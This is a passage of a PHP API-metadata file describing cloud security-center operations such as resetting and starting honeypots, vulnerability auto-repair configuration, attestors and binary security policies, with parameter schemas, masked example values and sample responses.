\\"Uuid\\": \\"b93cccb9-f19f-4886-97fe-47df26ba****\\",\\n \\"ClientId\\": \\"c-0002bgagelj3d2sc****\\",\\n \\"BackupPlanId\\": \\"plan-000c4tt43nolmx96****\\",\\n \\"BackupJobId\\": \\"a006f24d069843c88688672d74ee****\\",\\n \\"BackupStartTime\\": 1699514211000,\\n \\"BackupEndTime\\": 1699600611000,\\n \\"BackupStatus\\": \\"BACKUP_COMPLETE\\",\\n \\"ErrorCode\\": \\"FILE_CACHE_NO_SPACE\\",\\n \\"ErrorMessage\\": \\"FILE_CACHE_NO_SPACE\\",\\n \\"InstanceName\\": \\"openapi\\",\\n \\"Ip\\": \\"1.1.1.1\\",\\n \\"InstanceId\\": \\"i-wz9ikn44p46krnic****\\",\\n \\"InternetIp\\": \\"1.1.1.1\\\\n\\",\\n \\"IntranetIp\\": \\"192.168.1.1\\",\\n \\"RegionId\\": \\"cn-hangzhou\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 2,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20\\n }\\n}","type":"json"}]', 'title' => 'ListBackupRecord', ], 'ResetHoneypot' => [ 'summary' => 'Resets a honeypot.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'HoneypotId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐ID', 'description' => 'The ID of the honeypot.'."\n" ."\n" .'> You can call the [ListHoneypot](~~ListHoneypot~~) operation to query the IDs of honeypots.'."\n", 'type' => 'string', 'required' => true, 'example' => '945607c2ae2a1a737c04599d6608065688bfc6048d9b9d306ce8dc8191c*****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The information about the honeypot.'."\n", 'type' => 'object', 'properties' => [ 'HoneypotId' => [ 'title' => '蜜罐ID', 'description' => 'The ID of the honeypot.'."\n", 'type' => 'string', 'example' => '9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****', ], 'HoneypotName' => [ 'title' => '蜜罐自定义名称', 'description' => 'The custom name of the honeypot.'."\n", 'type' => 'string', 'example' => 'ruoyi', ], 'ControlNodeName' => [ 'title' => '蜜罐管理节点名称', 'description' => 'The name of the management node to which the honeypot belongs.'."\n", 'type' => 'string', 'example' => 'managerNodename', ], 'HoneypotImageName' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the image that is used for the honeypot.'."\n", 'type' => 'string', 'example' => 'ruoyi', ], 'PresetId' => [ 'title' => '蜜罐自定义参数ID', 'description' => 'The ID of the custom configuration for the honeypot.'."\n", 'type' => 'string', 'example' => '868a7579-00b5-4a74-999d-8bd3f411****', ], 'State' => [ 'title' => '蜜罐状态', 'description' => 'The statuses of the honeypots.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The status of the honeypot. Valid values:'."\n" ."\n" .'* **starting**: enabling'."\n" .'* **running**: normal'."\n" .'* **exited**: disabled'."\n" .'* **upgrade**: updating'."\n" .'* **deleting**: deleting'."\n" .'* **resetting**: resetting'."\n" .'* **created**: created'."\n" .'* **stopping**: stopping'."\n", 'type' => 'string', 'example' => 'running', ], ], 'HoneypotImageDisplayName' => [ 'title' => '蜜罐镜像显示名称', 'description' => 'The display name of the image.'."\n", 'type' => 'string', 'example' => 'RuoYi', ], 'NodeId' => [ 'title' => '管理节点唯一id', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A57C711B-AA15-55B2-8F61-4D09CEXXXXX', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"HoneypotId\\": \\"9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****\\",\\n \\"HoneypotName\\": \\"ruoyi\\",\\n \\"ControlNodeName\\": \\"managerNodename\\",\\n \\"HoneypotImageName\\": \\"ruoyi\\",\\n \\"PresetId\\": \\"868a7579-00b5-4a74-999d-8bd3f411****\\",\\n \\"State\\": [\\n \\"running\\"\\n ],\\n \\"HoneypotImageDisplayName\\": \\"RuoYi\\",\\n \\"NodeId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\"\\n },\\n \\"RequestId\\": \\"A57C711B-AA15-55B2-8F61-4D09CEXXXXX\\"\\n}","type":"json"}]', 'title' => 'ResetHoneypot', ], 'StartHoneypot' => [ 'summary' => 'Starts a honeypot.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'HoneypotId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐ID', 'description' => 'The ID of the honeypot.'."\n" ."\n" .'> You can call the [ListHoneypot](~~ListHoneypot~~) operation to query the IDs of honeypots.'."\n", 'type' => 'string', 'required' => true, 'example' => 'dba7d44775be8e0e5888ee3b1a62554a93d2512247cabc38ddeac17a3b3f****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content in the request and response messages. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The information about the honeypot.'."\n", 'type' => 'object', 'properties' => [ 'HoneypotId' => [ 'title' => '蜜罐ID', 'description' => 'The ID of the honeypot.'."\n", 'type' => 'string', 'example' => '123', ], 'HoneypotName' => [ 'title' => '蜜罐自定义名称', 'description' => 'The custom name of the honeypot.'."\n", 'type' => 'string', 'example' => 'ruoyi', ], 'ControlNodeName' => [ 'title' => '蜜罐管理节点名称', 'description' => 'The name of the management node to which the honeypot belongs.'."\n", 'type' => 'string', 'example' => 'managerNodename', ], 'HoneypotImageName' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the image that is used for the honeypot.'."\n", 'type' => 'string', 'example' => 'tcp_proxy', ], 'PresetId' => [ 'title' => '蜜罐自定义参数ID', 'description' => 'The ID of the custom configuration for the honeypot.'."\n", 'type' => 'string', 'example' => 'ddh3731641137fe4b72b245346a2721d4b6tdgg3731641137fe4b72b245346a2721***', ], 'State' => [ 'title' => '蜜罐状态', 'description' => 'The statuses of the honeypots.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The status of the honeypot. Valid values:'."\n" ."\n" .'* **starting**: enabling'."\n" .'* **running**: normal'."\n" .'* **exited**: disabled'."\n" .'* **upgrade**: updating'."\n" .'* **deleting**: deleting'."\n" .'* **resetting**: resetting'."\n" .'* **created**: created'."\n" .'* **stopping**: stopping'."\n", 'type' => 'string', 'example' => 'running', ], ], 'HoneypotImageDisplayName' => [ 'title' => '蜜罐镜像显示名称', 'description' => 'The display name of the image.'."\n", 'type' => 'string', 'example' => 'Webmin', ], 'NodeId' => [ 'title' => '管理节点唯一id', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"HoneypotId\\": \\"123\\",\\n \\"HoneypotName\\": \\"ruoyi\\",\\n \\"ControlNodeName\\": \\"managerNodename\\",\\n \\"HoneypotImageName\\": \\"tcp_proxy\\",\\n \\"PresetId\\": \\"ddh3731641137fe4b72b245346a2721d4b6tdgg3731641137fe4b72b245346a2721***\\",\\n \\"State\\": [\\n \\"running\\"\\n ],\\n \\"HoneypotImageDisplayName\\": \\"Webmin\\",\\n \\"NodeId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\"\\n },\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\"\\n}","type":"json"}]', 'title' => 'StartHoneypot', ], 'DeleteVulAutoRepairConfig' => [ 'summary' => 'Deletes configurations of of an automatic vulnerability fixing task at a time on the Playbook page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '134325', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'title' => '漏洞类型', 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* cve: Linux software vulnerability'."\n" .'* sys: Windows system vulnerability'."\n", 'type' => 'string', 'required' => false, 'example' => 'cve', ], ], [ 'name' => 'AliasName', 'in' => 'query', 'schema' => [ 'title' => '漏洞别名', 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'RHSA-2017:0184-Important: mysql security update', ], ], [ 'name' => 'ConfigIdList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the configurations.'."\n" ."\n" .'> You can call the [ListVulAutoRepairConfig](~~ListVulAutoRepairConfig~~) operation to query the IDs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the configuration.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InnerError', 'errorMessage' => 'InnerError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\"\\n}","type":"json"}]', 'title' => 'DeleteVulAutoRepairConfig', ], 'DescribeFixUsedCount' => [ 'summary' => 'Queries the number of vulnerabilities that are fixed by the pay-as-you-go vulnerability fixing feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'UsedCountSg' => [ 'description' => 'The number of vulnerabilities that are fixed by the vulnerability fixing feature outside China.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'UsedCountCn' => [ 'description' => 'The number of vulnerabilities that are fixed by the vulnerability fixing feature in China.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CB1CE824-7F80-546D-8AF8-4A5209F9B698', ], 'UsedCount' => [ 'description' => 'The number of vulnerabilities that are fixed by the vulnerability fixing feature.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"UsedCountSg\\": 5,\\n \\"UsedCountCn\\": 5,\\n \\"RequestId\\": \\"CB1CE824-7F80-546D-8AF8-4A5209F9B698\\",\\n \\"UsedCount\\": 10\\n}","type":"json"}]', 'title' => 'DescribeFixUsedCount', ], 'CreateAttestor' => [ 'summary' => 'Creates a witness.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '91919', 'abilityTreeNodes' => [ 'FEATUREsasJEFOWE', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the witness.'."\n", 'type' => 'string', 'required' => false, 'example' => 'attestor-auto-ad5316', ], ], [ 'name' => 'KeyRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the Key Management Service (KMS) key.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'KeyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the KMS key.'."\n", 'type' => 'string', 'required' => false, 'example' => '2e81355b-f8e7-4090-8082-a8f8124a****', ], ], [ 'name' => 'KeyVersionId', 'in' => 'query', 'schema' => [ 'description' => 'The version ID of the KMS key.'."\n", 'type' => 'string', 'required' => false, 'example' => '8d7c9c91-57ce-4cf4-a959-1e700e13****', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The description.'."\n", 'type' => 'string', 'required' => false, 'example' => 'attestor', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'B44EA7F0-497A-5F10-B5A8-87291356****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"B44EA7F0-497A-5F10-B5A8-87291356****\\"\\n}","type":"json"}]', 'title' => 'CreateAttestor', ], 'CreateBinarySecurityPolicy' => [ 'summary' => 'Creates a binary security policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '91921', 'abilityTreeNodes' => [ 'FEATUREsasJEFOWE', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '59.82.XXX.XXX', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the policy.'."\n", 'type' => 'string', 'required' => false, 'example' => 'mv-test', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The description.'."\n", 'type' => 'string', 'required' => false, 'example' => 'remark test', ], ], [ 'name' => 'Policy', 'in' => 'query', 'schema' => [ 'description' => 'The content of the policy. Specify a value in the JSON format. You can specify the following keys:'."\n" ."\n" .'* **policyMode**: the type of the policy. Default value: requireAttestor.'."\n" .'* **requiredAttestors**: the required witnesses.'."\n", 'type' => 'string', 'required' => true, 'example' => '{\\"PolicyMode\\":\\"requireAttestor\\",\\"RequiredAttestors\\":[\\"test-xcs-04-12-heyuan\\"]}', ], ], [ 'name' => 'Clusters', 'in' => 'query', 'schema' => [ 'description' => 'The information about the cluster.'."\n", 'type' => 'string', 'required' => true, 'example' => '[{\\"ClusterId\\":\\"cc12429dbb8f644f690b0623fb52b4737\\",\\"Namespaces\\":[\\"default\\"]},{\\"ClusterId\\":\\"c9f5b93a8da8f4341b774d79fdbcedb3c\\",\\"Namespaces\\":[\\"default\\"]}]', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the policy. Valid values:'."\n" ."\n" .'* **enable**'."\n" .'* **disable**'."\n", 'type' => 'string', 'required' => false, 'example' => 'enable', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '89AD16CC-97EE-50F3-9B12-9E28E5C8****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"89AD16CC-97EE-50F3-9B12-9E28E5C8****\\"\\n}","type":"json"}]', 'title' => 'CreateBinarySecurityPolicy', ], 'DeleteAttestor' => [ 'summary' => 'Deletes a witness.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91945', 'abilityTreeNodes' => [ 'FEATUREsasJEFOWE', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '221.214.XXX.XX', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the witness.'."\n", 'type' => 'string', 'required' => false, 'example' => 'attestor', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CD380235-A0B8-540D-A0D5-D6288446****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CD380235-A0B8-540D-A0D5-D6288446****\\"\\n}","type":"json"}]', 'title' => 'DeleteAttestor', ], 'DescribeAttestors' => [ 'summary' => 'Queries a list of witnesses.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '222.35.XXX.XXX', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the witness.'."\n", 'type' => 'string', 'required' => false, 'example' => 'attestor-auto-ad5316', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '122', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'Attestors' => [ 'description' => 'The witnesses.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'KeyVersionId' => [ 'description' => 'The version ID of the Key Management Service (KMS) key.'."\n", 'type' => 'string', 'example' => '8d7c9c91-57ce-4cf4-a959-1e700e13****', ], 'KeyId' => [ 'description' => 'The ID of the KMS key.'."\n", 'type' => 'string', 'example' => '2e81355b-f8e7-4090-8082-a8f8124a****', ], 'Remark' => [ 'description' => 'The description.'."\n", 'type' => 'string', 'example' => 'attestor', ], 'Name' => [ 'description' => 'The name of the witness.'."\n", 'type' => 'string', 'example' => 'attestor-123', ], 'KeyRegionId' => [ 'description' => 'The region ID of the KMS key.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 122,\\n \\"Count\\": 20\\n },\\n \\"Attestors\\": [\\n {\\n \\"KeyVersionId\\": \\"8d7c9c91-57ce-4cf4-a959-1e700e13****\\",\\n \\"KeyId\\": \\"2e81355b-f8e7-4090-8082-a8f8124a****\\",\\n \\"Remark\\": \\"attestor\\",\\n \\"Name\\": \\"attestor-123\\",\\n \\"KeyRegionId\\": \\"cn-hangzhou\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeAttestors', ], 'DescribeBinarySecurityPolicies' => [ 'summary' => 'Queries binary security policies.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '59.82.XXX.XXX', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the policy.'."\n", 'type' => 'string', 'required' => false, 'example' => 'policy-auto-5patxz', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the policy. Valid values:'."\n" ."\n" .'* **enabled**'."\n" .'* **disabled**'."\n", 'type' => 'string', 'required' => false, 'example' => 'enabled', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '218', ], 'Count' => [ 'description' => 'The number of entries returned on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'BinarySecurityPolicies' => [ 'description' => 'The information about security policies.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the policy. Valid values:'."\n" ."\n" .'* **enabled**'."\n" .'* **disabled**'."\n", 'type' => 'string', 'example' => 'enabled', ], 'Policy' => [ 'description' => 'The content of the policy. The value is in the JSON format. A key supports the following values:'."\n" ."\n" .'* **policyMode**: the type of the policy. Default value: requireAttestor.'."\n" .'* **requiredAttestors**: the required witnesses.'."\n", 'type' => 'string', 'example' => '{\\"PolicyMode\\":\\"requireAttestor\\",\\"RequiredAttestors\\":[\\"test-xcs-04-11-hhht\\"]}', ], 'Name' => [ 'description' => 'The name of the policy.'."\n", 'type' => 'string', 'example' => 'logtail', ], 'Remark' => [ 'description' => 'The description.'."\n", 'type' => 'string', 'example' => 'test', ], 'Clusters' => [ 'description' => 'The information about clusters.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'c316702acdf5f45e1a9dc7fc52f21****', ], 'Namespaces' => [ 'description' => 'The namespaces.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => '[\\"insightone_x86\\"]', ], ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 218,\\n \\"Count\\": 20\\n },\\n \\"BinarySecurityPolicies\\": [\\n {\\n \\"Status\\": \\"enabled\\",\\n \\"Policy\\": \\"{\\\\\\\\\\\\\\"PolicyMode\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"requireAttestor\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"RequiredAttestors\\\\\\\\\\\\\\":[\\\\\\\\\\\\\\"test-xcs-04-11-hhht\\\\\\\\\\\\\\"]}\\",\\n \\"Name\\": \\"logtail\\",\\n \\"Remark\\": \\"test\\",\\n \\"Clusters\\": [\\n {\\n \\"ClusterId\\": \\"c316702acdf5f45e1a9dc7fc52f21****\\",\\n \\"Namespaces\\": [\\n \\"[\\\\\\\\\\\\\\"insightone_x86\\\\\\\\\\\\\\"]\\"\\n ]\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeBinarySecurityPolicies', ], 'DescribeClusterHostSecuritySummary' => [ 'summary' => 'Queries the statistical information about host security.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '222.71.XXX.XXX', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c3aaf6c8085f84791882eef200cd2****', ], ], [ 'name' => 'ContainerFieldName', 'in' => 'query', 'schema' => [ 'description' => 'The key of the condition that is used to query containers. Valid values:'."\n" ."\n" .'* **instanceId**: the instance ID'."\n" .'* **appName**: the name of the application'."\n" .'* **clusterId**: the ID of the cluster'."\n" .'* **regionId**: the region ID'."\n" .'* **nodeName**: the name of the node'."\n" .'* **namespace**: the namespace'."\n" .'* **clusterName**: the name of the cluster'."\n" .'* **image**: the name of the image'."\n" .'* **imageRepoName**: the name of the image repository'."\n" .'* **imageRepoNamespace**: the namespace to which the image repository belongs'."\n" .'* **imageRepoTag**: the tag that is added to the image repository'."\n" .'* **imageDigest**: the digest of the image'."\n", 'type' => 'string', 'required' => false, 'example' => 'clusterId', ], ], [ 'name' => 'ContainerFieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the condition that is used to query containers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c1fdb5fd8d42e425d88fd73eec7be****', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the query. Valid values:'."\n" ."\n" .'* **containerId**'."\n" .'* **uuid**'."\n", 'type' => 'string', 'required' => false, 'example' => 'uuid', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', ], 'ClusterHostEvent' => [ 'description' => 'The alert details of the hosts.'."\n", 'type' => 'object', 'properties' => [ 